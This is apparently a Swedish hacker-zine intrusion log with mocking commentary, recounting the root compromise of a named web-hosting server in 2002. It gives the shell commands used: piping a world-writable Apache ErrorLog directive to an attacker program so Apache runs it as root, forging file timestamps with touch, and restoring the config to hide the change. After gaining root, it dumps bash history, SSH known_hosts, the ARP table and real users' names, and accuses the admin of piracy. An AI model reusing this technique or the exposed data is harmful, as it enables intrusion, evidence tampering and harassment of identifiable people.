-rwxrwxrwx 1 httpd httpd 357 Feb 10 2001 srm.conf
-rwxrwxrwx 1 httpd httpd 9986 Feb 10 2001 mime.types
-rwxrwxrwx 1 httpd httpd 12441 Feb 10 2001 magic
-rwxrwxrwx 1 httpd httpd 348 Feb 10 2001 access.conf
-rw-r--r-- 1 root root 32532 Jun 3 2001 httpd.conf.old
-rw-r--r-- 1 root root 23270 Jun 3 2001 virtualhost.conf.old
-rwxr-xr-x 1 root root 32673 Apr 30 20:23 httpd.test.conf
-rwxr-xr-x 1 root root 41060 May 1 18:35 virtualhost.test.conf
drwxr-xr-x 18 root root 4096 Aug 5 15:18 ..
-rwxrwxrwx 1 httpd httpd 61 Aug 5 15:24 php.ini
-rw-r--r-- 1 root root 357 Aug 25 21:51 srm.conf.default
-rw-r--r-- 1 root root 12381 Aug 25 21:51 mime.types.default
-rw-r--r-- 1 root root 12965 Aug 25 21:51 magic.default
-rw-r--r-- 1 root root 33635 Aug 25 21:51 httpd.conf.default
-rw-r--r-- 1 root root 348 Aug 25 21:51 access.conf.default
-rwxrwxrwx 1 httpd httpd 32788 Aug 25 21:55 httpd.conf
-rwxr-xr-x 1 root root 51224 Aug 25 22:47 virtualhost.conf.20020825
drwxrwxrwx 3 httpd httpd 4096 Aug 25 22:47 .
-rwxrwxrwx 1 httpd httpd 57271 Sep 13 12:40 virtualhost.conf
#
# Julafton - fast det bara är september
# En vanlig finnig nörd som lärt sig hacka från happyhacker-texterna
# skulle ju såklart behöva en suid fil, med ehm.. utnyttjbar kod
# - samt en het sploit från bugtraq för koka ihop root.
#
# Vi kan skriva både här och där - det första som poppar upp
# i skallen är inte "wow, massdeface, alldas, irc, respekt, elajt"
#
# Apache är lätt att få root via om man kan skriva till httpd.conf.
# Det första man tänker på är kanske att låta Apache ladda en modul
# (eftersom den i init-rutinen körs som root), men httpd -l visar
# att mod_so.c inte är inkompilerad, så vi får köra på med ett annat trick!
#
$ cat virtualhost.conf
#ThrottlePolicy none
SetHandler throttle-status
#ThrottlePolicy none
DocumentRoot /usr/web/htdocs
ServerName new.burken.nu
ThrottlePolicy none
DocumentRoot /home/djurvall/public_html
ServerAlias djurvall.burken.nu
ServerName www.djurvall.burken.nu
# TransferLog logs/www.djurvall.burken.nu-access_log
CustomLog logs/www.djurvall.burken.nu-combined combined
ErrorLog logs/www.djurvall.burken.nu-error_log
#ThrottlePolicy none
DocumentRoot /home/grkplut/public_html
ServerName www.charliesierra.nu
ServerAlias charliesierra.nu
php_admin_flag safe_mode On
php_admin_flag mysql.allow_persistent off
CustomLog logs/www.charliesierra.nu-combined combined
ErrorLog logs/www.charliesierra.nu-error_log
#ThrottlePolicy none
DocumentRoot /home/loui/public_html
ServerName www.motmakt.nu
ServerAlias motmakt.nu
php_admin_flag safe_mode On
php_admin_flag mysql.allow_persistent off
CustomLog logs/www.motmakt.nu-combined combined
ErrorLog logs/www.motmakt.nu-error_log
# ADD HERE
#ThrottlePolicy none
DocumentRoot /export/vol2/webs/www3.se.postgresql.org
ServerName www3.se.postgresql.org
php_admin_flag safe_mode On
CustomLog logs/www3.se.postgresql.org-combined combined
ErrorLog logs/www3.se.postgresql.org-error_log
#### Dynamiska
#ThrottlePolicy none
LogFormat "%V %h %l %u %t \"%r\" %s %b" vcommon
UseCanonicalName Off
CustomLog logs/virtual-access_log vcommon
VirtualDocumentRoot /home/tyko/dynamic/%0
#ThrottlePolicy none
DocumentRoot /usr/web/webs/www.burken.nu
ServerName www.burken.nu
# TransferLog logs/www.burken.nu-access_log
# UserDir disabled
UserDir http://www.burken.nu/disabled.php
CustomLog logs/www.burken.nu-combined combined
ErrorLog logs/www.burken.nu-error_log
ThrottlePolicy none
DocumentRoot /home/xmms/web
ServerName www.xmms.org
ServerAlias sewww.xmms.org
ServerAlias xmms.burken.nu
Options Includes ExecCGI Indexes
AllowOverride FileInfo AuthConfig Limit
Order allow,deny
Allow from all
AddHandler server-parsed .html
# TransferLog logs/www.xmms.org-access_log
# CustomLog logs/www.xmms.org-referer_log referer
# CustomLog logs/www.xmms.org-agent_log agent
CustomLog logs/www.xmms.org-combined combined
ErrorLog logs/www.xmms.org-error_log
#
# Även här editerade vi kraftigt.
# vi vill ju inte tråka ut er, eller hur?
#
$ cd ../logs
$ find . -name "*error*" -size 0
./stats.burken.nu-error_log
./www.enduro.nu-error_log
./cam.spacedump.pp.se-error_log.swapped
./www.motherjames.com-error_log
./netgoblins.com-error_log.swapped-020915
./www.backman.cc-error_log
./www.musiknoje.nu-error_log
./link.tillberg.net-error_log
./hmpfzie.nu-error_log
./arkivet.tillberg.net-error_log
./www.garnia.nu-error_log
./gettyone.burken.nu-error_log
./photodisc.burken.nu-error_log
./webcam.tracit.burken.nu-error_log
$ cd ..
#
# Backup är A och O för att lyckas som IT kriminell.
#
$ cd conf
$ touch -amr virtualhost.conf /var/tmp/.v
$ cp virtualhost.conf /var/tmp/.vv
$ sed s',logs/www.jowi.nu-error_log,|logs/www.jowi.nu-error-log,' < virtualhost.conf > v
$ cat v > virtualhost.conf
$ rm v
$ grep '|' virtualhost.conf
ErrorLog |logs/www.jowi.nu-error-log
$ cp /var/tmp/a ../logs/www.jowi.nu-error-log
$ chmod 755 ../logs/www.jowi.nu-error-log
$ touch -amr /var/tmp/.v virtualhost.conf . ../logs/www.jowi.nu-error-log
$ pwd
/usr/web/conf
$ ls -alrt
total 412
drwxrwxrwx 2 httpd httpd 4096 Nov 9 2000 RCS
-rwxrwxrwx 1 httpd httpd 357 Feb 10 2001 srm.conf
-rwxrwxrwx 1 httpd httpd 9986 Feb 10 2001 mime.types
-rwxrwxrwx 1 httpd httpd 12441 Feb 10 2001 magic
-rwxrwxrwx 1 httpd httpd 348 Feb 10 2001 access.conf
-rw-r--r-- 1 root root 32532 Jun 3 2001 httpd.conf.old
-rw-r--r-- 1 root root 23270 Jun 3 2001 virtualhost.conf.old
-rwxr-xr-x 1 root root 32673 Apr 30 20:23 httpd.test.conf
-rwxr-xr-x 1 root root 41060 May 1 18:35 virtualhost.test.conf
drwxr-xr-x 18 root root 4096 Aug 5 15:18 ..
-rwxrwxrwx 1 httpd httpd 61 Aug 5 15:24 php.ini
-rw-r--r-- 1 root root 357 Aug 25 21:51 srm.conf.default
-rw-r--r-- 1 root root 12381 Aug 25 21:51 mime.types.default
-rw-r--r-- 1 root root 12965 Aug 25 21:51 magic.default
-rw-r--r-- 1 root root 33635 Aug 25 21:51 httpd.conf.default
-rw-r--r-- 1 root root 348 Aug 25 21:51 access.conf.default
-rwxrwxrwx 1 httpd httpd 32788 Aug 25 21:55 httpd.conf
-rwxr-xr-x 1 root root 51224 Aug 25 22:47 virtualhost.conf.20020825
-rwxrwxrwx 1 httpd httpd 57272 Sep 13 12:40 virtualhost.conf
drwxrwxrwx 3 httpd httpd 4096 Sep 13 12:40 .
$ cd RCS
$ ls
virtualhost.conf,v
$ ls -alrt
total 20
-rwxrwxrwx 1 httpd httpd 8852 Nov 9 2000 virtualhost.conf,v
drwxrwxrwx 2 httpd httpd 4096 Nov 9 2000 .
drwxrwxrwx 3 httpd httpd 4096 Sep 13 12:40 ..
$ cd ../../logs
$ ls -l www.jowi.nu-error-log
-rwxr-xr-x 1 httpd httpd 15848 Sep 13 12:40 www.jowi.nu-error-log
# Detta är vår nya vän - programmet som ska ge oss root on demand nästa gång
# Apache startas om..
# Eftersom tålmodighet är det enda vettiga så struntar vi i att kill -STOP
# alla Apacheprocesser och sen gnälla hos Spacedump så han startar om Apache :P
# Chansen att han upptäcker nåt är mindre då.. för vem skulle inte bli
# förvirrad om Apache slutade göra sitt jobb bara sådär? ;>
$ strip www.jowi.nu-error-log
$ ls -l www.jowi.nu-error-log
-rwxr-xr-x 1 httpd httpd 6260 Sep 22 23:27 www.jowi.nu-error-log
$ touch -amr /var/tmp/.v . www.jowi.nu-error-log
$ cd ../conf
$ grep '|' virtualhost.conf
ErrorLog |logs/www.jowi.nu-error-log
$ ls -l /usr/web/logs/www.jowi.nu-error-log
-rwxr-xr-x 1 httpd httpd 6260 Sep 13 12:40 /usr/web/logs/www.jowi.nu-error-log
#
# Några tester som gjordes på en annan j00n1xdata visade att
# |logs/www.jowi.nu-error-log inte fungerade.. Vi måste använda oss av
# full path - inte lika sneaky, men hindrar oss knappast från att koka roota ;)
$ pwd
/usr/web/conf
$ sed s',|logs/www.jowi.nu-error-log,|/usr/web/logs/www.jowi.nu-error-log,' < virtualhost.conf > v
$ cat v > virtualhost.conf
$ rm v
$ touch -amr /var/tmp/.v . virtualhost.conf
$ cp virtualhost.conf /var/tmp/.vx
$ cat /var/tmp/.vv > virtualhost.conf
$ touch -amr /var/tmp/.v . virtualhost.conf
$ uname -a
Linux fs02 2.4.9 #1 SMP Thu Aug 23 18:44:06 CEST 2001 i686 unknown
$ date
Sun Sep 22 23:51:01 CEST 2002
$ cat /var/tmp/.vx > virtualhost.conf
$ ls -l /usr/web/logs/www.jowi.nu-error-log
-rwxr-xr-x 1 httpd httpd 6260 Sep 13 12:40 /usr/web/logs/www.jowi.nu-error-log
$ touch -amr /var/tmp/.v virtualhost.conf .
$ cd /var/tmp
$ strip .a
$ touch -amr .v .a .vx .vv
$ date
Sun Sep 22 23:57:30 CEST 2002
$ date
Mon Sep 23 00:01:05 CEST 2002
$ df -k
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/hda2 4065500 3508100 347352 91% /
/dev/hda1 22580 1917 19459 9% /boot
/dev/hda4 34321796 32115832 2205964 94% /export/vol1
/dev/hdb1 39076880 37517344 1559536 96% /export/vol2
fs01:/export/vol2/unix/s/spacedmp
30443079 28618001 173699 99% /home/spacedmp
bettan:/usr/home/bbs/web
36294258 1037918 32352800 3% /export/vol2/webs/bbs.linux.se
bettan:/usr/home/linuxse/web
36294258 1037918 32352800 3% /export/vol2/webs/www.linux.se
bettan:/usr/home/lstore
36294258 1037918 32352800 3% /export/vol2/webs/www.linuxstore.se
bettan:/usr/home/shellkonto/web
36294258 1037918 32352800 3% /export/vol2/webs/www.shellkonto.nu
fs01:/export/vol2/unix/s/spacedmp
30443079 28618001 173699 99% /home/spacedmp
fs01:/export/vol3/ftp
15920515 4564114 11185042 29% /home/ftp
fs01:/export/vol2/unix/b/budis
30443079 28618001 173699 99% /home/budis
fs01:/export/vol2/unix/t/tillberg
30443079 28618001 173699 99% /home/tillberg
fs01:/export/vol2/unix/b/byggsus
30443079 28618001 173699 99% /home/byggsus
fs01:/export/vol2/unix/a/angel
30443079 28618001 173699 99% /home/angel
fs01:/export/vol2/unix/m/movitz
30443079 28618001 173699 99% /home/movitz
fs01:/export/vol2/unix/k/krokros
30443079 28618001 173699 99% /home/krokros
fs01:/export/vol2/unix/b/bihrner
30443079 28618001 173699 99% /home/bihrner
fs01:/export/vol2/unix/s/stx
30443079 28618001 173699 99% /home/stx
fs01:/export/vol2/unix/t/tripodz
30443079 28618001 173699 99% /home/tripodz
fs01:/export/vol2/unix/p/psycho
30443079 28618001 173699 99% /home/psycho
fs01:/export/vol2/unix/f/forze
30443079 28618001 173699 99% /home/forze
fs01:/export/vol2/unix/s/sidewalk
30443079 28618001 173699 99% /home/sidewalk
fs01:/export/vol2/unix/t/tilion
30443079 28618001 173699 99% /home/tilion
fs01:/export/vol2/unix/s/sebbz
30443079 28618001 173699 99% /home/sebbz
fs01:/export/vol2/unix/m/meat
30443079 28618001 173699 99% /home/meat
fs01:/export/vol2/unix/s/smallone
30443079 28618001 173699 99% /home/smallone
fs01:/export/vol2/unix/e/emess
30443079 28618001 173699 99% /home/emess
$ id
uid=501(httpd) gid=501(httpd) groups=501(httpd)
$ cd /var/tmp
$ ed
a
[* kod till errorlogprogram bortklipp *]
.
w a.c
q
4297
$ make a
$ gcc -o a a.c -O2 -Wall
$ strip a
$ rm a.c
$ cd /usr/web/logs
$ cat /var/tmp/a > www.jowi.nu-error-log
sh: www.jowi.nu-error-log: Text file busy
# haha - surprise!
# någon / något har precis startat om apache så den har startat www.jowi.nu-error-log
# I feel lucky! Nu äre nog dags att dra ner på statoil och handla lite lotter
$ cd /var/tmp
$ ed
a
[* Koden som utnyttjar errorlogprogrammet (www.jowi.nu-error-log) saxad..
Det är Flashback som varit framme och SAXAT från oss, haha!
Yo yo, det är vi som är LoLing Stoned's - shara knarket broder! *]
.
w r.c
1757
q
$ make r
cc r.c -o r
$ cd /usr/web/conf
$ cat /var/tmp/.vv > virtualhost.conf
$ touch -amr /var/tmp/.v virtualhost.conf .
# Eftersom vi inte vill bli upptäckta återställde vi konfigfilen.
# Inte så stor risk att Spacedump lyckas snubbla över det, men
# man vet aldrig ;>
$ /var/tmp/r &
$ rm -f /var/tmp/r*
$ kill -9 $$
+-------------------------------------------------------------------------+
| EDITOR note: |
| För er som inte riktigt hängde med där skall |
| jag förklara vad det var som hände. |
| I och med att både virtualhost.conf och logfilerna var |
| skrivbara av alla så skrev dom över en logfil med ett program, |
| och bad apache att öppna den som |/usr/web/logs/www.jowi.nu-error-log |
| dvs. Att programmet skulle exekveras. Som root! |
| |
| Detta är ett utmärkt exempel att på att hacka en dator |
| utan att använda exploits, inga patchar skyddar mot en dum admin! |
| |
+-------------------------------------------------------------------------+
# I vår nya r00t-en4bl4d3!! termimnal hände följande
$ cd /root
$ ls -alrt
total 29348
-rw-r--r-- 1 root root 114 May 8 1993 .lesskey
-rw-r--r-- 1 root root 48 Sep 11 1996 .less
-rw-r--r-- 1 root root 75277 Dec 23 1997 nc110.tar.gz
-rw-r--r-- 1 root root 159028 Jun 17 1999 mpg123-0.59r.tar.gz
-rw-r--r-- 1 root root 332253 Sep 6 2000 rsync-2.4.6.tar.gz
-rw-r--r-- 1 root root 82161 Oct 22 2000 oidentd-1.7.1.tar.gz
-rw-r--r-- 1 root root 872451 Feb 21 2001 mrtg-2.9.10.tar.gz
-rw-r--r-- 1 root root 257631 Feb 22 2001 gd-1.8.4.tar.gz
-rw-r--r-- 1 root root 320 Feb 26 2001 index.html
-rw-r--r-- 1 root root 274318 Mar 1 2001 gd-1.8.3.tar.gz
-rw-r--r-- 1 root root 12076 Mar 1 2001 mysql.db
-rw-r--r-- 1 root root 297467 Mar 1 2001 reiserfs-utils-3.6.25.tar.gz
-rw-r--r-- 1 root root 31 Mar 5 2001 .klogin
-rw-r--r-- 1 root root 772176 Mar 11 2001 mkisofs-1.13.tar.gz
drwxr-xr-x 5 root root 4096 Mar 24 2001 mirror
-rwxr-xr-x 1 root root 58 Apr 12 2001 perl-test.pl
drwxr-xr-x 2 root root 4096 Dec 15 2001 .ssh
-rw-r--r-- 1 root root 8642 Feb 4 2002 linux-se.bash_history
-rw-r--r-- 1 root root 30 Mar 16 2002 .amandahosts
drwxr-xr-x 2 root root 4096 Mar 31 11:09 TAKEN
-rw-r--r-- 1 root root 2695311 Apr 18 21:43 cvs-1.11.2.tar.gz?JServSessionIdservlets=fi1q876xk1
drwxr-xr-x 2 root root 4096 May 1 09:32 .mc
drwxr-xr-x 2 root root 4096 Jun 26 19:54 backup
drwxr-xr-x 3 root root 4096 Jun 29 18:03 cvstest
drwxr-xr-x 24 root root 4096 Jun 30 10:39 ..
-rw------- 1 root root 164 Jun 30 12:00 .cvspass
-rw-r--r-- 1 root root 265729 Sep 4 02:44 prcinfo
drwxr-xr-x 11 root root 4096 Sep 8 13:21 src
-rw------- 1 root root 13256 Sep 22 17:27 .bash_history
$ cd TAKEN
$ ls -l
total 0
drwxr-xr-x 4 root root 96 Mar 22 08:27 home/
$ cd home
$ ls
covers/
zao/
$ ypcat passwd|egrep zao\|covers
zao:*:1346:1346:Lars Viklund [Linux.SE]:/home/zao:/bin/bash
covers:*:1372:1372:Magnus Bondesson [Linux.SE]:/home/covers:/bin/bash
# Enormt oetiskt.. Han har stulit folks homedirs :(
# Fy fan för dig, Spacedump!
$ cd ../../dl
$ ls
AUTODESK.BUILDING.ELECTRICAL.V1.0.ISO-RiSE/
$ warez
bash: warez: command not found
#
#
# [ http://www.antipiratbyran.com/tips.asp ]
# -------> SE HIT <-------------------------
# OLAGLIGA KOPIOR PÅ SKYDDAT MATERIAL !!!
# Spacedump distribuerar olagliga kopior på dyra program!
# OLAGLIGA KOPIOR PÅ SKYDDAT MATERIAL !!!
# -------------------> SE HIT <-------------
# [ http://www.antipiratbyran.com/tips.asp ]
#
#
$ cd ..
$ cat .bash_history
ls
du
vi dagbok.php
cat connect.php
vi connect.php
exit
pwd
ls
w
uptime
w
who
w
exit
ls
ls
du
ls
du
ls -l
cd /root/src/
ls
cd ..
vi /etc/passwd
pwd
id
w
w
w
w
w
w
w
ps auxw
ps auxw
ftp 0
df
pwd
ls
cd /home/noaksson
cd public_html/
l
ls
mysql -uroot -p _system
mysql -uroot -p _system
cat /etc/passwd
pwd
ls
exit
vi /etc/passwd
TERM=xterm
#
# heh, grabben har skillz
#
$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(operator)
$ arp -na &
? (194.236.124.59) at 00:60:1D:F1:76:AB [ether] on eth0
? (194.236.124.52) at 00:D0:B7:3B:2C:89 [ether] on eth0
? (194.236.124.49) at 00:60:1D:F1:5E:9F [ether] on eth0
? (194.236.124.43) at 00:D0:B7:49:96:04 [ether] on eth0
? (194.236.124.41) at 00:0A:41:FD:0E:C0 [ether] on eth0
? (194.236.124.40) at 00:0A:41:FD:16:C0 [ether] on eth0
? (194.236.124.36) at 00:03:47:A4:76:01 [ether] on eth0
? (194.236.124.34) at 00:D0:B7:83:72:31 [ether] on eth0
? (194.236.124.33) at 00:80:C8:B9:B8:B5 [ether] on eth0
$ cd .ssh
$ ls -alrt
total 24
-rw------- 1 root root 512 Sep 25 2001 random_seed
-rw-r--r-- 1 root root 342 Dec 15 2001 authorized_keys
drwxr-xr-x 2 root root 4096 Dec 15 2001 .
drwx--x--- 17 root root 4096 Sep 20 15:37 ..
-rw------- 1 root root 4903 Sep 22 16:13 known_hosts
$ cat kn*
warez,194.236.124.48 1024 33 168151578264579140639696453178019738841809063112571996663912298218985713296408221853335115268160062262281374797843836493948217369130749728533115721721903399806241604580469229335000742846562828265405453401230514916705128731325658466058370410655791677481994254580601189829821100386246370876194934518807339978597
warez,194.236.124.48 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA0Oj0s6bGL/uXuSaUb9QGG1z3klcdivozVCBvMwe6wmGBTSuttwU7mMOhVEubqHiEVO0DsPzFXr8Sgjn94GmP5L8nQyRgkSkAxsvhM2r7RHCrP3uSZ82gB3zO8/AfzE0aQA1MokH5mA1GVJtlQ/+1la909aGfeSKXlLAHiZ8xzWE=
172.17.196.45 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwKdpuGfC3M4JOlAAUslkf3rd1QhRqv548wq2J0iDPyVLXf31QjIiCoIpDJ3y8Qtjfz621DH+0+4h8J/bflsM5296CUffNv35xQNUfV1FCB45ucQmtYsJtTjjQ2+uIjpCOSn4TKkGQc5E/NqGRnzuzLceSbNv/S4AYIH52daOOBc=
0,0.0.0.0 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyuoNtWHm6vqkmnRpdvT+HyLIwkFFRxEO9oG7i41uxXN/KBAw6uUbEVaTOAUMeD00vV9z0FJfCa3MqO3+ZuAFE+sIM/z3iReWHV5iBZnyg207drh41+kTUtDlUD3NrY9cqaVgisCIbGBKB83ReYaBNbqvnHXjlPUPefsK9jVUmGM=
#
# Gör världen en tjänst - tipsa Antipiratbyrån ASAP!
# WAREZ @ warez.spacedump.pp.se
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# ---> warez,194.236.124.48 <---
# WAREZ @ warez.spacedump.pp.se
#
#
$ cd /home
$ ls
alhakim
bilder
bobis
covers
djurvall
engman
esnweb
evonite
ftp
hulteniu
ia
icom2002
kattmat
liket
matty
perrra
revo9
rickard
spacedmp
tilion
tod
treggy88
xmms
zmanga
zrkaska
zybernic
$ cd spa*
$ cd .ssh
$ ls -alrt
total 123
-rw-r--r-- 1 spacedmp spacedmp 334 Sep 6 2000 identity.pub
-rw------- 1 spacedmp spacedmp 530 Sep 6 2000 identity
drwxr-xr-x 2 spacedmp spacedmp 1024 Oct 20 2001 .
-rw------- 1 spacedmp spacedmp 512 Oct 20 2001 random_seed
-rw-r--r-- 1 spacedmp spacedmp 1663 Aug 7 10:24 authorized_keys
-rw------- 1 spacedmp spacedmp 41725 Sep 20 09:32 known_hosts
drwxrwx--x 167 spacedmp spacedmp 75776 Sep 22 22:50 ..
$ cat known_hosts
gosalyn.ced.chalmers.se 1024 35 151268403917718649882081152829065486043358572813676462221244838581488009668018883259815030194286947292034830350955135247480106213789589722219532161893822852791556816494078325957203917212699864296401711335670497522192692109587590299406450489604843542615765206899256517137115945667472210988874053903890991769553
serverbox.free-hosting.nu 1024 37 134597990471742974707895288295197342031673600293964367163822327663827653734449319941393977749583113461411264815777302534393502530805021218588536469617083669299202568118179635567112930274168363178497648826177618378882091848810018000604799247223998803565855288531775183107482896633568714233615450730749464083089
pucko.remedy.nu 1024 35 131615164213144470425074761948855039472420090466808230435056120628490849986772491928629537071035073133886603084946716159960194719546765158220522908862706763596358271876605852998947844089230656680791697530167204971184066256011041106908479903667075343702675011394891968264430300046239619508541974182293107456447
194.236.124.132 1024 33 161206773657465995167653167266007675180304456330077216222647192945308879014012703729891120896611820048255616303530605919118017545210641020425869773610971518864339379121346507261597510666163874003202631417433180707033207456863693689823000540652081405075335445736807320170300977530945514026503410451907070148213
lamerz.net 1024 33 161206773657465995167653167266007675180304456330077216222647192945308879014012703729891120896611820048255616303530605919118017545210641020425869773610971518864339379121346507261597510666163874003202631417433180707033207456863693689823000540652081405075335445736807320170300977530945514026503410451907070148213
194.236.124.50 1024 33 106440909399036561174668454890244934945341998838416659842612393506364123390262355634611548420273452506699161141587318167082764466077386274093814956965983662369853850388883586743829340476321227576239452527607359128736714460996865566821719397974698451962043366965666650648028836320349534718392986036732378187223
freebsd 1024 33 106440909399036561174668454890244934945341998838416659842612393506364123390262355634611548420273452506699161141587318167082764466077386274093814956965983662369853850388883586743829340476321227576239452527607359128736714460996865566821719397974698451962043366965666650648028836320349534718392986036732378187223
fs01 1024 37 134673151523792009982979064108789575564945427532815915866834835533214395963664402378972587506042837947822104411772170834113755511426407333529503782061647439799257003674412977902749846210129915720453369054692577308442177034856123715982878707735848826768516968278925459776852644465892999220595654049921315882663
138.6.217.9 1024 33 115108939138063993061560223021272460052143911224539594694976637624133329732526387293052833760334304571220488685218117210600996213042424613105888561229992708962898121879989695640622207462668817200342608748398593645921543114836463971847973148559043516969030521487173704822891707334776162958713299564817096422373
mail.krantz.pp.se 1024 37 135011172057041089136373399164064698898546616758827781781717961481860483004151552706143216896194778964030514696170025454685506922903823410328387316270481106163174758548565922019541025983027403581964400752679263811232667238295303549257426892770190876390506768135256182415104651335729007897838945015436354260863
cinderella.krantz.pp.se 1024 37 130421086946384289988428900200147743458721813940728519338781963364282317832578315342606380347111425004069101548777156656385486065836274507965737367326852126749621710985783013696019897344554626084328640822064820912229966889562182564041465508467911840650401631018561169088321801816915107509598270324080610532889
darkface.pp.se 1024 33 169080968056137498524203972835485980691586436083284108390517638264207770843540675988712702263518619516657506575115107946825001397597251586604752594767850921462811670127499444525006459868876599144723027352452723709611264352186197352429594355429842253945296045745184709818035994649383019487740966989387577500103
194.236.124.44 1024 33 156151763636703064972131629379441706363920933951421407832358295483686275516432154839031791654435442269657428529635221458758631634281241653884568570029564087038574636104194107272439305150123194472103548975986792043447918707499611200417706680171492795745570811730749529577367178917143439932529317161669394091443
194.236.124.49 1024 35 151731405636950241370576108878455140193213261930273497153187921454382081626961892019897948341809822948574452245675823228080535057316460235452245717491056171870729976611537759332063821938825159223198012666573140999001112297406197152645081876844834383263200391185869768598862253915497492900786067217237923955963
194.236.124.43 1024 37 118439828164747952241580655655004609564093003304896278175033142029698401584503244622694601145078487644463998540506251879590699623280404197799844501365192579042734347305855638344643547599092681479083916547703791633896733511966791065024020772166573074503848012211471213219739637281207141260742499665356150065431
ricefarmer.bleh.nu 1024 37 151966743160981836112112099411167483704934911666154694002338692302599283356798650778091031977900851719176237504751758782478119151107407024448464054601979062945642792352912254976613693054442207441050938916441491441461792756391812905058039148851096501668040319767840835490360266604890251564373376057535291251909
195.58.127.131 1024 37 140574403009841793113966746999342228506648563741752138192246668378423285297871271599872889578452415390299515887270868890397219453618402610120892612769927015480227037448545824481167341057457534599838998654375299094647684941872984539561888277449553139797026247504731497668224744666582532769192307155825117130963
new 1024 35 133312470361269667234165234511639086344664908731708444144543057289249464658831084265071513653947212108635308869833382024486517915754425526532683980030286284754219246036368377368152363699472298766300887141662203357088997493548669429374968367226684615772207594370780452625972805213004392904076073291672322933703
linuxse.burken.nu 1024 37 158574042979264910595299408345879912995519197819718905134338437857177300224662096405286864807802160568423411497923543495798640578547017568480151583090765217373894484170070053844971314186500075537481258440994564646171340645630250357199922930200359085290653068756203683257914265818951597850249603677265484205863
www.linux.se 1024 37 158574042979264910595299408345879912995519197819718905134338437857177300224662096405286864807802160568423411497923543495798640578547017568480151583090765217373894484170070053844971314186500075537481258440994564646171340645630250357199922930200359085290653068756203683257914265818951597850249603677265484205863
linux.se 1024 37 158574042979264910595299408345879912995519197819718905134338437857177300224662096405286864807802160568423411497923543495798640578547017568480151583090765217373894484170070053844971314186500075537481258440994564646171340645630250357199922930200359085290653068756203683257914265818951597850249603677265484205863
perrra.dyn.mirkkwar.nu 1024 37 137453207349046931314428046630191401605838152305527704078758799863320162626703970804927787478034430301285848715996177513583320548937699705395228852954281372184170108708112481495181049202127141964061950923747703075018738105715255313153822444088238646551849761966145395705245401633126996578739062289244384891479
217.78.33.46 1024 35 118157298531954640965896698179168201062198977069443840990896146940517470425712576168300280623574379110887261136704960690182912090936930628938701605792330583699074042830925709382601199225440417729177406576053753925098706373831525349950993826304919383989436407769713720925775314270441579513577320488325932169493
ticket.remedy.nu 1024 35 118157298531954640965896698179168201062198977069443840990896146940517470425712576168300280623574379110887261136704960690182912090936930628938701605792330583699074042830925709382601199225440417729177406576053753925098706373831525349950993826304919383989436407769713720925775314270441579513577320488325932169493
sekure.net 1024 37 131730438055444723801679576466736432066733310276900651863374391293053840076367442465405961675485952775646635875717831392171679978199662806044041198026598512044744246719523431448950131088450122390306488937177265059783863656377903055819674367455811067326607875901384251053390646246599629171476081918273602297767
shuttle.krantz.pp.se 1024 35 142035628152859982327680120961274685368949944087137525733618248336126955476228561760096033832972479530491381383987742416921022823952941155331705755664705030391765448058393060029616059070116334685443904135446887128096972929917992350654389563006325873483338215682803841940602046573179117612349093466100508754347
kib1.ki.sw.ericsson.se 1024 37 158704687540278596677855903890296536999454713058140680232826323978478010733272965027222301932877780645020411565138535407303063931666033348872466913238877090683912594295041577690307118068895310201707465904235420086578005437519611966661575107630650203324872135311374553429690413308646457997236211811444278494757
kib7.ki.sw.ericsson.se 1024 35 104852542315026155191881191063643641508021960481612787287571115379642029895090333997015203061869121775394769678864463608835361786294457488286185707581291967954923901668250185389821989918542037550799975632901254645622174398887038992815434367857413452151704771711161370846492912391454558756546808876992747602497
silence 1024 35 139491544500668523798350653194025859166736145542929098499495947917660936437603579972706503661136545046505505433891819960390337005021801768479247369010003542403899128828603716724491623078935136428066163778346533397153692230185405469961465365127721832163695155757568892233970111276729505155552876501304077580497
petra.mds.mdh.se 1024 37 124719388884348581799284457414095137201335677716923991869742871029448411753569560903410260733658273253091199642525088089564747995133964912332244457857177837454699352275907091046296763921422647523061996444226623284914660015786399563435507427735861056474734150532703858219519642808242340577290966281180011095393
irc.freebsd.nl 1024 37 143085723475127757219276887882946267947529077422380818669796524505762023054977214391615102688776838081898074490645508677303046002798887253693529925625309515016541308727869475272442066302030103413829388525434527618224810483786879074320086248333211087115484931130068705085448113562271487277810743465825835616247
213.242.136.103 1024 35 115007862614296366652372413719504901035879393921322627284981730537005169259924507902252121692176859444911590743919805435703419011514879152297994920979490305336076906649874377225436392780149089219870749273525014034004938642669795236010493949302706672905609300785896420140031440176728659583567073329531797393337
mb.geek.se 1024 35 136221961276186357962321267553591838854784657845721493746417398060347567655507971332868405209545617746680496799238554833156279600104779305009852072138301184620086155854575978566260976099870971206823958516005555170582816496579278611057544711552001575965567657658250087336829838881052442817213936286016629887249
lab.linux.se 1024 37 158574042979264910595299408345879912995519197819718905134338437857177300224662096405286864807802160568423411497923543495798640578547017568480151583090765217373894484170070053844971314186500075537481258440994564646171340645630250357199922930200359085290653068756203683257914265818951597850249603677265484205863
geek.se 1024 37 158574042979264910595299408345879912995519197819718905134338437857177300224662096405286864807802160568423411497923543495798640578547017568480151583090765217373894484170070053844971314186500075537481258440994564646171340645630250357199922930200359085290653068756203683257914265818951597850249603677265484205863
www.kantarell.nu 1024 35 113835508057579667641576616246491759756101604668998539163854822935679807384854505756538986146139870756007736699863628477271975452261854080548885104633632020033296009085532081813414262842254381211684709870692649718188684303524323382287371461501458073404693800082254034111831632069657178687795876106962346675313
warez 1024 33 168151578264579140639696453178019738841809063112571996663912298218985713296408221853335115268160062262281374797843836493948217369130749728533115721721903399806241604580469229335000742846562828265405453401230514916705128731325658466058370410655791677481994254580601189829821100386246370876194934518807339978597
fw 1024 35 142408778069536347830841840333642278628568929035810819049582757496663962381138170465552980391687006761465936577979077969110175815799101896012451653369979746915967680156574408893286831239790976910260103580995827666630628511839789031048867437040509576071863341544786884776908223248782981823147564962222545563179
